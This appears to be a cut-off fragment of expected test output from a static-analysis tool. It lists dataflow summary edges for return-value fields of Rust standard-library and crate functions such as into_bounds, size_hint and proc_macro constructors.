[summary] to write: ReturnValue in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in repo:https://github.com/serde-rs/serde:serde::_::crate::de::value::private::unit_only | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::crate::de::value::private::unit_only | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::find_lower_bound_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::find_lower_bound_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::find_upper_bound_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::find_upper_bound_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::nexts | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::nexts | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::unzip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::extract_if_inner | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::nexts | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::nexts | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_lower_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_lower_bound_edge | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_upper_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_upper_bound_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_inner | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::bound | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::bound | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::crate::slice::sort::shared::find_existing_run | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::sort::shared::find_existing_run | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_mut | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_ref | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::into_inner | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::into_bounds | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::into_bounds | Included | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::nexts | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::nexts | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:alloc::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::size_hint | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in lang:std::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in lang:std::_::::get_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:std::_::::get_ref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[2] in lang:core::_::::into_parts | tuple.2 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_parts | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | Group | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::new | Group.delimiter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::new | Group.stream | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Group(0)] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new_raw | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::new | Ident.span | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::new_raw | Ident.span | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Ident(0)] in lang:proc_macro::_::::new_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::Span(0)] in lang:proc_macro::_::::span | Span | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::span | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenStream(0)] in lang:proc_macro::_::::stream | TokenStream | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::stream | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Group(0)] in lang:proc_macro::_::::from | Group | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Ident(0)] in lang:proc_macro::_::::from | Ident | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Literal(0)] in lang:proc_macro::_::::from | Literal | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::TokenTree::Punct(0)] in lang:proc_macro::_::::from | Punct | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::alloc::layout::Layout::size] in lang:core::_::::from_size_align_unchecked | Layout.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_size_align_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | IntoIter.alive | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::new_unchecked | IndexRange.end | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::new_unchecked | IndexRange.start | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::alive] in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::array::iter::IntoIter::data] in lang:core::_::::new_unchecked | IntoIter.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::block::BlockRng64::core] in repo:https://github.com/rust-random/rand:rand_core::_::::new | BlockRng64.core | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::block::BlockRng::core] in repo:https://github.com/rust-random/rand:rand_core::_::::new | BlockRng.core | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::clone | Borrowed | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::from | Borrowed | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)].Reference in lang:alloc::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::borrow::Cow::Owned(0)] in lang:alloc::_::::from | Owned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::from_non_null_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_non_null_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::from_raw_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::new_uninit_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::boxed::Box(1)] in lang:alloc::_::::new_zeroed_in | Box(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::close] in lang:proc_macro::_::::from_single | DelimSpan.close | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::entire] in lang:proc_macro::_::::from_single | DelimSpan.entire | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::DelimSpan::open] in lang:proc_macro::_::::from_single | DelimSpan.open | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::from_single | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::Marked::value] in lang:proc_macro::_::::mark | Marked.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::mark | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::Attr::name] in lang:proc_macro::_::::attr | Attr.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::attr | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::Bang::name] in lang:proc_macro::_::::bang | Bang.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::bang | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::CustomDerive::attributes] in lang:proc_macro::_::::custom_derive | CustomDerive.attributes | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::custom_derive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::client::ProcMacro::CustomDerive::trait_name] in lang:proc_macro::_::::custom_derive | CustomDerive.trait_name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::custom_derive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::new | InternedStore.owned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned].Field[crate::bridge::handle::OwnedStore::counter] in lang:proc_macro::_::::new | OwnedStore.counter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::handle::OwnedStore::counter] in lang:proc_macro::_::::new | OwnedStore.counter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::bridge::server::MaybeCrossThread::cross_thread] in lang:proc_macro::_::::new | MaybeCrossThread.cross_thread | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::BorrowRef::borrow] in lang:core::_::::clone | BorrowRef | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::from | Cell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::new | Cell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Cell::value] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::Ref::borrow] in lang:core::_::::map | Ref.borrow | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::from | RefCell.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::new | RefCell.value | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefCell::value] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::RefMut::borrow] in lang:core::_::::map | RefMut.borrow | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::from | SyncUnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::new | SyncUnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::UnsafeCell::value] in lang:core::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: 